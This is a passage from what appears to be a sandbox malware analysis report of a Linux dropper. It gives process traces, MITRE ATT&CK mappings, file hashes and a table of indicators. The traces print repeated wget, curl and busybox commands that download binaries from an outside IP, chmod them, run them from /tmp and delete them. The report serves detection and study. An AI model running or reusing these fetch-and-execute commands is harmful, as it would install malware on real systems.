  /bin/busybox wget http://87.120.125.191/bins/qcuwYGk2JkGxyeuKlu5IcbXDtEfd0j305H
  2⤵
  PID:948
- /bin/chmod
  chmod 777 qcuwYGk2JkGxyeuKlu5IcbXDtEfd0j305H
  2⤵
  - File and Directory Permissions Modification
  PID:949
- /tmp/qcuwYGk2JkGxyeuKlu5IcbXDtEfd0j305H
  ./qcuwYGk2JkGxyeuKlu5IcbXDtEfd0j305H
  2⤵
  - Executes dropped EXE
  PID:950
- /bin/rm
  rm qcuwYGk2JkGxyeuKlu5IcbXDtEfd0j305H
  2⤵
  PID:951
- /usr/bin/wget
  wget http://87.120.125.191/bins/tXkbHAIYwyF0CF9OQhiSNN7BLwSbjxFObi
  2⤵
  PID:952
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/tXkbHAIYwyF0CF9OQhiSNN7BLwSbjxFObi
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:953
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/tXkbHAIYwyF0CF9OQhiSNN7BLwSbjxFObi
  2⤵
  PID:954
- /bin/chmod
  chmod 777 tXkbHAIYwyF0CF9OQhiSNN7BLwSbjxFObi
  2⤵
  - File and Directory Permissions Modification
  PID:955
- /tmp/tXkbHAIYwyF0CF9OQhiSNN7BLwSbjxFObi
  ./tXkbHAIYwyF0CF9OQhiSNN7BLwSbjxFObi
  2⤵
  - Executes dropped EXE
  PID:956
- /bin/rm
  rm tXkbHAIYwyF0CF9OQhiSNN7BLwSbjxFObi
  2⤵
  PID:957
- /usr/bin/wget
  wget http://87.120.125.191/bins/vH4qa7VuTD8BoFysRqR8dk0wv3ROMZudTI
  2⤵
  PID:958
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/vH4qa7VuTD8BoFysRqR8dk0wv3ROMZudTI
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:959
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/vH4qa7VuTD8BoFysRqR8dk0wv3ROMZudTI
  2⤵
  PID:960
- /bin/chmod
  chmod 777 vH4qa7VuTD8BoFysRqR8dk0wv3ROMZudTI
  2⤵
  - File and Directory Permissions Modification
  PID:961
- /tmp/vH4qa7VuTD8BoFysRqR8dk0wv3ROMZudTI
  ./vH4qa7VuTD8BoFysRqR8dk0wv3ROMZudTI
  2⤵
  - Executes dropped EXE
  PID:962
- /bin/rm
  rm vH4qa7VuTD8BoFysRqR8dk0wv3ROMZudTI
  2⤵
  PID:963
- /usr/bin/wget
  wget http://87.120.125.191/bins/3quuaOjun3Tl9nhGn4K5Ah6B0GQ6YXIHvj
  2⤵
  PID:964
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/3quuaOjun3Tl9nhGn4K5Ah6B0GQ6YXIHvj
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:965
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/3quuaOjun3Tl9nhGn4K5Ah6B0GQ6YXIHvj
  2⤵
  PID:966
- /bin/chmod
  chmod 777 3quuaOjun3Tl9nhGn4K5Ah6B0GQ6YXIHvj
  2⤵
  - File and Directory Permissions Modification
  PID:967
- /tmp/3quuaOjun3Tl9nhGn4K5Ah6B0GQ6YXIHvj
  ./3quuaOjun3Tl9nhGn4K5Ah6B0GQ6YXIHvj
  2⤵
  - Executes dropped EXE
  PID:968
- /bin/rm
  rm 3quuaOjun3Tl9nhGn4K5Ah6B0GQ6YXIHvj
  2⤵
  PID:969

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

OYWKFOVKYIY2hng2lJcVq6ooWCPG37BVQj

Path /tmp/OYWKFOVKYIY2hng2lJcVq6ooWCPG37BVQj
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/OYWKFOVKYIY2hng2lJcVq6ooWCPG37BVQj	726	OYWKFOVKYIY2hng2lJcVq6ooWCPG37BVQj
/tmp/WK7ciQ4h2sW8Kp4KHb45nWkgH36QatNoFS	734	WK7ciQ4h2sW8Kp4KHb45nWkgH36QatNoFS
/tmp/a5xff2FYZD8ogJW97ZwvveRjv7k9nB8P3K	740	a5xff2FYZD8ogJW97ZwvveRjv7k9nB8P3K
/tmp/qcuwYGk2JkGxyeuKlu5IcbXDtEfd0j305H	754	qcuwYGk2JkGxyeuKlu5IcbXDtEfd0j305H
/tmp/tXkbHAIYwyF0CF9OQhiSNN7BLwSbjxFObi	778	tXkbHAIYwyF0CF9OQhiSNN7BLwSbjxFObi
/tmp/vH4qa7VuTD8BoFysRqR8dk0wv3ROMZudTI	804	vH4qa7VuTD8BoFysRqR8dk0wv3ROMZudTI
/tmp/3quuaOjun3Tl9nhGn4K5Ah6B0GQ6YXIHvj	812	3quuaOjun3Tl9nhGn4K5Ah6B0GQ6YXIHvj
/tmp/mpjK8HPkQniSCQQVSDpykKUlpCBoDnEvDe	818	mpjK8HPkQniSCQQVSDpykKUlpCBoDnEvDe
/tmp/9iZrxHQJg2qK0x3epLHC5kHA4I7oZlpnP0	836	9iZrxHQJg2qK0x3epLHC5kHA4I7oZlpnP0
/tmp/HzyGApkKKwSFdXzdpTSNiLdQ1WdLvxwBiZ	858	HzyGApkKKwSFdXzdpTSNiLdQ1WdLvxwBiZ
/tmp/lcVzP2H0RWqwML7NYtHaU0q4qdpUteHlkJ	866	lcVzP2H0RWqwML7NYtHaU0q4qdpUteHlkJ
/tmp/AyZnXiDksKsM88Y3GX46IgvAKJ3ODTosln	872	AyZnXiDksKsM88Y3GX46IgvAKJ3ODTosln
/tmp/iDEicSLGL4SSYZI3s86MN5fIi4JpMSArRL	878	iDEicSLGL4SSYZI3s86MN5fIi4JpMSArRL
/tmp/O68TR92DtqRdH1srZNg4laLjtUSlKlRhe7	884	O68TR92DtqRdH1srZNg4laLjtUSlKlRhe7
/tmp/iDEicSLGL4SSYZI3s86MN5fIi4JpMSArRL	890	iDEicSLGL4SSYZI3s86MN5fIi4JpMSArRL
/tmp/O68TR92DtqRdH1srZNg4laLjtUSlKlRhe7	896	O68TR92DtqRdH1srZNg4laLjtUSlKlRhe7
/tmp/HzyGApkKKwSFdXzdpTSNiLdQ1WdLvxwBiZ	902	HzyGApkKKwSFdXzdpTSNiLdQ1WdLvxwBiZ
/tmp/lcVzP2H0RWqwML7NYtHaU0q4qdpUteHlkJ	908	lcVzP2H0RWqwML7NYtHaU0q4qdpUteHlkJ
/tmp/AyZnXiDksKsM88Y3GX46IgvAKJ3ODTosln	914	AyZnXiDksKsM88Y3GX46IgvAKJ3ODTosln
/tmp/OYWKFOVKYIY2hng2lJcVq6ooWCPG37BVQj	920	OYWKFOVKYIY2hng2lJcVq6ooWCPG37BVQj
/tmp/WK7ciQ4h2sW8Kp4KHb45nWkgH36QatNoFS	926	WK7ciQ4h2sW8Kp4KHb45nWkgH36QatNoFS
/tmp/a5xff2FYZD8ogJW97ZwvveRjv7k9nB8P3K	932	a5xff2FYZD8ogJW97ZwvveRjv7k9nB8P3K
/tmp/mpjK8HPkQniSCQQVSDpykKUlpCBoDnEvDe	938	mpjK8HPkQniSCQQVSDpykKUlpCBoDnEvDe
/tmp/9iZrxHQJg2qK0x3epLHC5kHA4I7oZlpnP0	944	9iZrxHQJg2qK0x3epLHC5kHA4I7oZlpnP0
/tmp/qcuwYGk2JkGxyeuKlu5IcbXDtEfd0j305H	950	qcuwYGk2JkGxyeuKlu5IcbXDtEfd0j305H
/tmp/tXkbHAIYwyF0CF9OQhiSNN7BLwSbjxFObi	956	tXkbHAIYwyF0CF9OQhiSNN7BLwSbjxFObi
/tmp/vH4qa7VuTD8BoFysRqR8dk0wv3ROMZudTI	962	vH4qa7VuTD8BoFysRqR8dk0wv3ROMZudTI
/tmp/3quuaOjun3Tl9nhGn4K5Ah6B0GQ6YXIHvj	968	3quuaOjun3Tl9nhGn4K5Ah6B0GQ6YXIHvj